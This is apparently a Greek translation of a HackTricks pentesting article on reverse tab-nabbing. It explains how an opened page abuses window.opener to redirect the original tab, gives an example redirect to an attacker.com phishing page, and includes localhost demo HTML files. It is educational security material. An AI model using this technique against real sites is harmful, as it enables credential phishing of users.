hacktricks/pentesting-web/reverse-tab-nabbing.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

9.8 KiB
Raw Blame History

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Περιγραφή

Σε μια κατάσταση όπου ένας επιτιθέμενος μπορεί να ελέγχει το href όρισμα ενός <a tag με το χαρακτηριστικό target="_blank" rel="opener" που θα κάνει κλικ ένα θύμα, ο επιτιθέμενος μπορεί να κατευθύνει αυτό το σύνδεσμο σε μια ιστοσελίδα υπό τον έλεγχό του (μια κακόβουλη ιστοσελίδα). Έπειτα, όταν το θύμα κάνει κλικ στον σύνδεσμο και αποκτά πρόσβαση στην ιστοσελίδα του επιτιθέμενου, αυτή η κακόβουλη ιστοσελίδα θα μπορεί να ελέγχει την αρχική σελίδα μέσω του αντικειμένου javascript window.opener.
Εάν η σελίδα δεν έχει rel="opener" αλλά περιέχει target="_blank" και δεν έχει rel="noopener" μπορεί επίσης να είναι ευάλωτη.

Ένας συνηθισμένος τρόπος εκμετάλλευσης αυτής της συμπεριφοράς θα ήταν να αλλάξει την τοποθεσία της αρχικής ιστοσελίδας μέσω της εντολής window.opener.location = https://attacker.com/victim.html σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο και μοιάζει με την αρχική, έτσι ώστε να μιμηθεί τη φόρμα σύνδεσης της αρχικής ιστοσελίδας και να ζητήσει διαπιστευτήρια από τον χρήστη.

Ωστόσο, να σημειωθεί ότι καθώς ο επιτιθέμενος μπορεί τώρα να ελέγχει το αντικείμενο παράθυρο της αρχικής ιστοσελίδας, μπορεί να το εκμεταλλευτεί και με άλλους τρόπους για να πραγματοποιήσει πιο αόρατες επιθέσεις (ίσως τροποποιώντας γεγονότα javascript για να εξαγάγει πληροφορίες σε έναν διακομιστή που ελέγχεται από αυτόν;)

Επισκόπηση

Με αναφορά πίσω

Σύνδεση μεταξύ γονικής και παιδικής σελίδας όταν δεν χρησιμοποιείται το πρόθεμα πρόληψης:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Χωρίς αναφορά πίσω

Σύνδεση μεταξύ γονικής και παιδικής σελίδας όταν χρησιμοποιείται το πρόθεμα πρόληψης:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Παραδείγματα

Δημιουργήστε τις παρακάτω σελίδες σε έναν φάκελο και εκτελέστε έναν διακομιστή ιστού με την εντολή python3 -m http.server
Στη συνέχεια, αποκτήστε πρόσβαση στη διεύθυνση http://127.0.0.1:8000/vulnerable.html, κάντε κλικ στον σύνδεσμο και παρατηρήστε πώς αλλάζει η URL της αρχικής ιστοσελίδας.

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% code title="malicious.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

Προσβάσιμες ιδιότητες

Στην περίπτωση όπου συμβαίνει μια διασυνοριακή πρόσβαση (πρόσβαση ανάμεσα σε διαφορετικούς τομείς), οι ιδιότητες της κλάσης JavaScript window, στην οποία αναφέρεται η αναφορά αντικειμένου JavaScript opener, που μπορούν να προσπελαστούν από μια κακόβουλη ιστοσελίδα περιορίζονται στα εξής:

  • opener.closed: Αυτή η ιδιότητα προσπελαύνεται για να προσδιοριστεί εάν ένα παράθυρο έχει κλείσει, επιστρέφοντας μια λογική τιμή.
  • opener.frames: Αυτή η ιδιότητα παρέχει πρόσβαση σε όλα τα στοιχεία iframe εντός του τρέχοντος παραθύρου.
  • opener.length: Η αριθμός των στοιχείων iframe που υπάρχουν στο τρέχον παράθυρο επιστρέφεται από αυτή την ιδιότητα.
  • opener.opener: Μια αναφορά στο παράθυρο που άνοιξε το τρέχον παράθυρο μπορεί να ληφθεί μέσω αυτής της ιδιότητας.
  • opener.parent: Αυτή η ιδιότητα επιστρέφει το γονικό παράθυρο του τρέχοντος παραθύρου.
  • opener.self: Αυτή η ιδιότητα παρέχει πρόσβαση στο ίδιο το τρέχον παράθυρο.
  • opener.top: Αυτή η ιδιότητα επιστρέφει το παράθυρο του προγράμματος περιήγησης με την υψηλότερη θέση.

Ωστόσο, σε περιπτώσεις όπου οι τομείς είναι ίδιοι, η κακόβουλη ιστοσελίδα αποκτά πρόσβαση σε όλες τις ιδιότητες που αποκαλύπτονται από την αναφορά αντικειμένου JavaScript window.

Πρόληψη

Πληροφορίες πρόληψης καταγράφονται στο HTML5 Cheat Sheet.

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: